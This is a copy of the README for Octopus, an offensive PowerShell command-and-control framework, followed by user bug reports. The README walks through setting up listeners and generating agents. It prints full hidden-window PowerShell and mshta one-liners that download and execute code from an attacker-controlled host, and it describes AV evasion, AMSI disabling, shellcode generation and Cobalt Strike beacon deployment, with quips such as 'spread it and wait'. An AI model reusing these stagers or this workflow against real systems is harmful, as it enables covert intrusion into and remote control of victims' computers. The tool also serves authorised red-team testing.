Code Monkey home page Code Monkey logo

octopus's Introduction

What is Octopus ?

Octopus is an open source, pre-operation C2 server based on python which can control an Octopus powershell agent through HTTP/S.

The main purpose of creating Octopus is for use before any red team operation, where rather than starting the engagement with your full operational arsenal and infrastructure, you can use Octopus first to attack the target and gather information before you start your actual red team operation.

Octopus works in a very simple way to execute commands and exchange information with the C2 over a well encrypted channel, which makes it inconspicuous and undetectable from almost every AV, endpoint protection, and network monitoring solution.

One cool feature in Octopus is called ESA, which stands for "Endpoint Situational Awareness", which will gather some important information about the target that will help you to gain better understanding of the target network endpoints that you will face during your operation, thus giving you a shot to customize your real operation based on this information.

Octopus is designed to be stealthy and covert while communicating with the C2, as it uses AES-256 by default for its encrypted channel between the powershell agent and the C2 server. You can also opt for using SSL/TLS by providing a valid certficate for your domain and configuring the Octopus C2 server to use it.

Octopus key features

Octopus is packed with a number of features that allows you to gain an insight into your upcoming engagement before you actually need to deploy your full aresenal or tools and techniques, such as:

  • Control agents throught HTTP/S.
  • Execute system commands.
  • Download / Upload files.
  • Load external powershell modules.
  • Use encrypted channels (AES-256) between C2 and agents.
  • Use inconspicuous techniques to execute commands and transfer results.
  • Create custom and multiple listeners for each target.
  • Generate different types of payloads.
  • Support all windows versions with powershell 2.0 and higher.
  • Run Octopus windows executable agent without touching powershell.exe process.
  • Gather information automatically from the endpoint (endpoint situational awareness) feature.

Requirements

You can install all of Octopus' requirements via :

pip install -r requirements.txt

You need to install nasm for linux and 'mingw-w64' compiler to use the shellcoding feature and the spoofed args agent.

You can install nasm on Debian based distros using:

apt install nasm

And you can install mingw-w64 on Debian based distros using:

apt install mingw-w64

Octopus has been tested on the following operating systems:

  • Ubuntu (18.04)
  • Ubuntu (16.04)
  • Kali Linux (2019.2)

You will also need to install mono to make sure that you can compile the C# source without issues.

Octopus depends on mono-csc binary to compile the C# source and you can install it by the following command apt install mono-devel which has been tested on kali and ubuntu 16.04.

you can use Octopus without installing mono but you will not be able to use generate_exe command.

Also please note that compling C# depends on the System.Management.Automation.dll assembly with SHA1 hash a43ed886b68c6ee913da85df9ad2064f1d81c470.

If you encounter any issues using Octopus, feel free to file a bug report!

Installation

First of all make sure to download the latest version of Octopus using the following command :

git clone https://github.com/mhaskar/Octopus/

Then you need to install the requirements using the following command :

pip install -r requirements.txt

After that you can start the octopus server by running the following :

./octopus.py

You will by greeted with the following once you run it :

┌─[askar@hackbook]─[/opt/redteaming/Octopus]
└──╼ $python3 octopus.py



      ___           ___                       ___           ___         ___           ___
     /  /\         /  /\          ___        /  /\         /  /\       /__/\         /  /\
    /  /::\       /  /:/         /  /\      /  /::\       /  /::\      \  \:\       /  /:/_
   /  /:/\:\     /  /:/         /  /:/     /  /:/\:\     /  /:/\:\      \  \:\     /  /:/ /\
  /  /:/  \:\   /  /:/  ___    /  /:/     /  /:/  \:\   /  /:/~/:/  ___  \  \:\   /  /:/ /::\
 /__/:/ \__\:\ /__/:/  /  /\  /  /::\    /__/:/ \__\:\ /__/:/ /:/  /__/\  \__\:\ /__/:/ /:/\:\
 \  \:\ /  /:/ \  \:\ /  /:/ /__/:/\:\   \  \:\ /  /:/ \  \:\/:/   \  \:\ /  /:/ \  \:\/:/~/:/
  \  \:\  /:/   \  \:\  /:/  \__\/  \:\   \  \:\  /:/   \  \::/     \  \:\  /:/   \  \::/ /:/
   \  \:\/:/     \  \:\/:/        \  \:\   \  \:\/:/     \  \:\      \  \:\/:/     \__\/ /:/
    \  \::/       \  \::/          \__\/    \  \::/       \  \:\      \  \::/        /__/:/
     \__\/         \__\/                     \__\/         \__\/       \__\/         \__\/


                    v1.2 stable !


 Octopus C2 | Control your shells


Octopus >>

Usage

Using Octopus is quite simple to use, as you just need to start a listener and generate your agent based on that listener's information.

You can generate as many listeners as you need, and then you can start interacting with your agents that connect to them.

Profile setup

Before you can start using Octopus you have to setup a URL handling profile which will control the C2 behavior and functions, as Octopus is an HTTP based C2 thus it depends on URLs to handle the connections and to guarantee that the URLs will not serve as a signatures or IoC in the network you are currently attacking, the URLs can be easily customized and renamed as needed.

Profile setup currently only support URL handling, auto kill value and headers.

Setting up your profile

To start setting up your profile you need to edit the profile.py file , which contains a number of key variables, which are:

  • file_reciever_url: handles file downloading.
  • report_url: handle ESA reports.
  • command_send_url: handles the commands that will be sent to the target.
  • command_receiver_url: handles commands will be executed on the target.
  • first_ping_url: handles the first connection from the target.
  • server_response_header: this header will show in every response.
  • auto_kill: variable to control when the agent will be killed after N failed connections with the C2

Example:

#!/usr/bin/python3

# this is the web listener profile for Octopus C2
# you can customize your profile to handle a specific URLs to communicate with the agent
# TODO : add the ability to customize the request headers

# handling the file downloading
# Ex : /anything
# Ex : /anything.php
file_receiver_url = "/messages"


# handling the report generation
# Ex : /anything
# Ex : /anything.php
report_url = "/calls"

# command sending to agent (store the command will be executed on a host)
# leave <hostname> as it with the same format
# Ex : /profile/<hostname>
# Ex : /messages/<hostname>
# Ex : /bills/<hostname>
command_send_url = "/view/<hostname>"


# handling the executed command
# Ex : /anything
# Ex : /anything.php
command_receiver_url = "/bills"


# handling the first connection from the agent
# Ex : /anything
# Ex : /anything.php
first_ping_url = "/login"

# will return in every response as Server header
server_response_header = "nginx"

# will return white page that includes HTA script
mshta_url = "/hta"

# auto kill value after n tries

auto_kill = 10


The agent and the listeners will be configured to use this profile to communicate with each other. Next we need to know how to create a listener.

Listeners

Octopus has two main listeners,"http listener" and "https listener" , and the options of the two listeners are mostly identical.

HTTP listener :

listen_http command takes the following arguments to start:

  • BindIP Defines the IP address that will be used by the listener.
  • BindPort Defines the port you want to listen on.
  • Hostname Will be used to request the payload from.
  • Interval How number of seconds the agent will wait before checking for commands.
  • URL The name of the page hosting the payload.
  • Listener_name Listener name to use.

you can also view an example of it by running the listen_http command:

Octopus >>listen_http
[-] Please check listener arguments !
Syntax  : listen_http BindIP BindPort hostname interval URL listener_name
Example (with domain) : listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
Example (without domain) : listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener

##########
Options info :

BindIP  		IP address that will be used by the listener
BindPort  		port you want to listen on
Hostname 		will be used to request the payload from
Interval 		how may seconds that agent will wait before check for commands
URL  			page name will hold the payload
Listener_name  	listener name to use

Octopus >>

And we can start a listener using the following command :

listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1

The following result will be returned:

Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off

Octopus >>

a listener has been started successfully, and we can view all the listeners using the listeners command:

Octopus >>listeners


Name        IP         Port  Host             Interval  Path      SSL
----------  -------  ------  -------------  ----------  --------  -----
operation1  0.0.0.0    8080  192.168.178.1           5  page.php  False


Octopus >>

HTTPS listener :

To create an HTTPS listener you can use listen_https command as such:

Octopus >>listen_https
[-] Please check listener arguments !
Syntax  : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
Example (with domain) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL listener started !
[+]darkside_operation Listener has been created
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off

Octopus >>

The listen_https command takes the following arguments to start:

  • BindIP : which is the IP address that will be used by the listener
  • BindPort : which is the port you want to listen on
  • Hostname : will be used to request the payload from
  • Interval : how may seconds that agent will wait before check for commands
  • URL page : name will hold the payload
  • Listener_name : listener name to use
  • certficate_path : path for valid ssl certficate (called fullchain.pem for letsencrypt certficates)
  • key_path : path for valid key for the ssl cerficate (called key.pem for letsencrypt certficates)

Please note that you need to provide a valid SSL certficate that is associated with the domain used.

Generate agents

Powershell oneliner

To generate an agent for the listener operation1 we can use the following command:

generate_powershell operation1

and we will get the following result:

Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"

Note - For Windows 7 clients you may need to prefix the payload with "Add-Type -AssemblyName System.Core;"
       e.g. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

Hack your way in ;)
#====================

Octopus >>

Now we can use this oneliner to start our agent.

HTA oneliner

To generate a HTA oneliner for the listener1 operation1 we can use the following command:

generate_hta operation1

and we will get the following results:

Octopus >>generate_hta operation1
#====================
mshta http://192.168.178.1:8080/hta
spread it and wait ;)
#====================
Octopus >>

Please note that you can edit the /hta URL using profile.py

Octopus EXE agent

To generate an EXE agent for listener operation1 we can use the following command:

generate_unmanaged_exe operation1 /opt/Octopus/file.exe

and we will get the following result:

Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe
[+] file compiled successfully !
[+] binary file saved to /opt/Octopus/file.exe
Octopus >>

Please note that you have to install mono-csc to compile the C# source.

Octopus Spoofed arguments agent

You can generate a new EXE agent that will run a Powershell process with spoofed arguments based on Adam Chester's brilliant research.

To generate this exe, you can use the following command:

Octopus >>generate_spoofed_args_exe
[-] Please select a listener and check your options !
Syntax :  generate_spoofed_args_exe listener_name output_path
Example : generate_spoofed_args_exe listener1 /opt/Octopus/file.exe
Octopus >>

Generate x64 shellcode and x86 shellcode

Octopus can generate both x64 and x86 shellcode starting from version 1.2, the generated shellcode is using CreateProcessA to start powershell.exe oneliner that will launch powershell agent.

To generate x64 shellcode, you can use the following command:

Octopus >>generate_x64_shellcode
[-] Please select a listener and check your options !
Syntax :  generate_x64_shellcode listener_name
Example : generate_x64_shellcode listener1
Octopus >>

To generate x86 shellcode, you can use the following command:

Octopus >>generate_x86_shellcode
[-] Please select a listener and check your options !
Syntax :  generate_x86_shellcode listener_name
Example : generate_x86_shellcode listener1
Octopus >>

Interacting with agents

First of all you can list all connected agents using the list command to get the following results:

Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>

And then we can use the interact command to interact with the host as follows:

Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>interact 1
(HR-PC-TYRMJ) >>

You can list all the available commands using the help command like the following:

Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>interact 1
(HR-PC-TYRMJ) >> help


Available commands to use :

Hint : if you want to execute system command just type it and wait for the results

+++++++++
help  				show this help menu
exit/back 			exit current session and back to the main screen
clear 				clear the screen output
download 			download file from the target machine
deploy_cobalt_beacon 		deploy cobalt strike powershell beacon in the current process
load 				load powershell module to the target machine
disable_amsi 			disable AMSI on the target machine
report 				get situation report from the target


(HR-PC-TYRMJ) >>

To execute a system command directly we can type the command directly and then wait for the results based on the interval check time that we set when we created the listener.

(HR-PC-TYRMJ) >> ipconfig
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Command execution result is :

Windows IP Configuration


Ethernet adapter Ethernet1:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : home
   Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10
   IPv4 Address. . . . . . . . . . . : 192.168.1.43
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.1.1

Ethernet adapter Ethernet:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter Bluetooth Network Connection:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :



(HR-PC-TYRMJ) >>

In this case the command has been encrypted and then sent to the agent, after that the client will decrypt the command and execute it, the agent will encrypt the results, and finally send it back again to the C2 to decrypt it and show the results.

We can also use the report command to get the ESA information like the following:

(HR-PC-TYRMJ) >> report
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Endpoint situation awareness report for HR-PC-QNGAV

=============
Hostname : 	HR-PC-QNGAV
Domain : 	darkside.com
OS : 		Microsoft Windows 10 Pro(64-bit)
OS build : 	10.0.17134
OS arch : 	64-bit
AntiVirus : 	Symantec
SIEM solution : False
Internal interfaces/IPs :
	IP : 192.168.178.144
	IP : 172.12.1.20


Device language : en-US
Device uptime : 41.6386169797778 hours
Device local time : 21:55(09/09/2019)


(HR-PC-TYRMJ) >>

You can load an external powershell module by placing it in the modules directory, then executing load module.ps1.

Also you can list all of the modules in the modules directory by executing the modules command like so:

(HR-PC-TYRMJ) >> modules
PowerView.ps1
(HR-PC-TYRMJ) >> load PowerView.ps1
[+] Module should be loaded !
(HR-PC-TYRMJ) >>

More about Octopus

Credits

  • Ian Lyte for reporting multiple bugs in Octopus and pushing an enhanced AMSI bypass module.

  • Khlief for adding HTA module and fix a bug in download feature

  • Moath Maharmah for enhancing the encryption module and writing a standalone C# Octopus agent which will be added to the upcoming release.

  • TeslaPulse for testing Octopus

  • J005 for adding enhanced Powershell oneliner and fix an issue in the HID attack script.

License

This project is licensed under the GPL-3.0 License - see the LICENSE file for details

octopus's People

Contributors

iomoath avatar j005 avatar luct0r avatar mhaskar avatar t3hbb avatar teslapulse avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

octopus's Issues

Mobile Module

I'm thinking to make a module of Octopus for Mobile framework.
Msdhas a modules, you can add Apk for Android app payload and for iOS.

It could use msfvenom to generate the payload and use Apk tools to sign the app, encrypt the traffic of payload and bypass the Google restricttion.

If love to see that soon

Thanks.

Listener issues

After several hours of the server listening for new connections, it is not possible to initiate new communication with the C2, the listener must be restarted

Report doesn't catch Sophos

Detections in esa.py may either be outdated or for home/personal version only?

I have a Sophos test box and the agent reports nothing for AntiVirus...

image

Getting a process list and filtering for "Sophos" indicates otherwise though :P

image

Erro after running mshta in windows

I'm getting an error after a new connection has been established this is the error:
Command execution result is :
Invoke-Expression: Cannot bind argument to parameter 'Command' because it is an empty string.
At line:129 char:33

  •     $ec = Invoke-Expression ($fc) | Out-String;
    
  •                             ~~~~~
    
    • CategoryInfo : InvalidData: (:) [Invoke-Expression], ParameterBindingValidationException
    • FullyQualifiedErrorId : ParameterArgumentValidationErrorEmptyStringNotAllowed,Microsoft.PowerShell.Comm
      ands.InvokeExpressionCommand

Powershell Error from client

Hi,

I am getting an error from the client when it successfully connects back to my listener ive pasted some output below;

##Listener Sucessfully Running

Octopus >>listeners

Name       IP         Port  Host              Interval  Path      SSL
---------  -------  ------  --------------  ----------  --------  -----
listener1  0.0.0.0      80  192.168.80.129           5  page.php  False

##Session Started on target

  Session  IP            Hostname           Process Name / PID / Arch    Username    Domain     Last ping                 OS
---------  ------------  -----------------  ---------------------------  ----------  ---------  ------------------------  --------------------------------
        2  192.168.80.1  TestHost-PWYVI  powershell (21060) - x64     test*   WORKGROUP  Thu Nov 12 11:30:11 2020  Microsoft Windows 10 Pro(64-bit)

##Error Received each time host checks in

Octopus >>
Command execution result is :
Invoke-Expression : Cannot bind argument to parameter 'Command' because it is an empty string.
At line:144 char:33
+         $ec = Invoke-Expression ($fc) | Out-String;
+                                 ~~~~~
    + CategoryInfo          : InvalidData: (:) [Invoke-Expression], ParameterBindingValidationException
    + FullyQualifiedErrorId : ParameterArgumentValidationErrorEmptyStringNotAllowed,Microsoft.PowerShell.Commands.Invo
   keExpressionCommand

I have tried several different generation methods each with the same results, I have turned AV off but still the same error.

Please could you assist?

OK

very good

downloading large files

Client freezes when trying to download even slightly large files (few MBs). Can you fix this?

generating hta page + hta question ?

I am using kali 2020.4 I made a brand new install of octopus to be sure no modification had been done on my end, with still issues getting pycrypto so pycryto is missing (see #23)

I encounter an issue I didn't have before the hta page is blank which wasn't a problem before
image

I have another question as well so not really a problem rather I am trying to understand something about the program
so this time on a modified (just putted a few prints) version of the program (not the clean install used before )

image

I was trying to understand how the hta was generated and I reached this point and to understand what I am dealing with I putted some prints

here is the output
image

so from this, I have multiple questions:

1: how is definied the variable i because from this prints i understand it is an array of length 2 containing item of the re array
like re[0] is [ ']' , '=' ] and so i = [ ']' , '=' ] which mean i[0]=']' and i[1] = '='

but where is all of that created and defined I see where re is created but that is it.

2:in the for loop I see you are replacing characters by others in the variable js which has been encoded in base64
I assume this is for code obfuscation
but it doesn't raise a question how is the code going to work if you modify it by that I mean that before the for loop i can decode the base64 no problem
image

but rather obviously trying to decode the last iteration is proven to be useless
image

so even if the hta page wasn't blank and was outputting the code (which is what it was doing for me before the code was given to me on the page) the code still wouldn't work because it would not be decodable right?
I assume I am missing something

many thanks in advance for the answer and I try to understand why the page is blank it could very well be a Mozilla problem on my end of security or something like that i am checking for that

Error during install

Hi, I got this error after running sudo pip install -r requirements.txt:
`checking for GNU libc compatible malloc... yes
checking for memmove... yes
checking for memset... yes
configure: creating ./config.status
config.status: creating src/config.h
In file included from /usr/include/python3.11/Python.h:86,
from src/_fastmath.c:31:
/usr/include/python3.11/cpython/pytime.h:208:60: warning: ‘struct timespec’ declared inside parameter list will not be visible outside of this definition or declaration
208 | PyAPI_FUNC(int) _PyTime_FromTimespec(_PyTime_t *tp, struct timespec *ts);
| ^~~~~~~~
/usr/include/python3.11/cpython/pytime.h:213:56: warning: ‘struct timespec’ declared inside parameter list will not be visible outside of this definition or declaration
213 | PyAPI_FUNC(int) _PyTime_AsTimespec(_PyTime_t t, struct timespec *ts);
| ^~~~~~~~
/usr/include/python3.11/cpython/pytime.h:217:63: warning: ‘struct timespec’ declared inside parameter list will not be visible outside of this definition or declaration
217 | PyAPI_FUNC(void) _PyTime_AsTimespec_clamp(_PyTime_t t, struct timespec ts);
| ^~~~~~~~
src/_fastmath.c:33:10: fatal error: longintrepr.h: File o directory non esistente
33 | #include <longintrepr.h> /
for conversions */
| ^~~~~~~~~~~~~~~
compilation terminated.
error: command '/usr/bin/x86_64-linux-gnu-gcc' failed with exit code 1
[end of output]

note: This error originates from a subprocess, and is likely not a problem with pip.
ERROR: Failed building wheel for pycrypto
Running setup.py clean for pycrypto
Failed to build pycrypto
ERROR: Could not build wheels for pycrypto, which is required to install pyproject.toml-based projects`

I'm running Kali Linux (kali-rolling) full upgraded, I have also installed nasm mingw-w64 and mono-devel.
Any hint will be very appreciate, thanks!

Listeners seems to be active but no

I have an active listener working, but after a few days, the listener is stopped working.
Under "Listeners", I can see him, but he's not really working. (HTTPS Listener)
How can I fix this issue?

Please check the certificate and key path LISTEN_HTTPS

  • Hello this is one of my first time reporting an issue I hope I won't miss or forget anything:

I am on a kali 2020.4 VM on VMware Workstation 16 Player
the host is an x64 windows 10 family with Intel(R) Core(TM) i7-8086K CPU @ 4.00GHz 4.01GHz 32.0Go of RAM

I respected all the pre-requisite for the installation of octopus as you can see on this screenshot
Capture

And as you can see on this second screenshot I am unable to create an HTTPS listener.

Capture2

If there is any more intel or anything I can provide to help fix the issue please let me know.

many thanks in advance

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.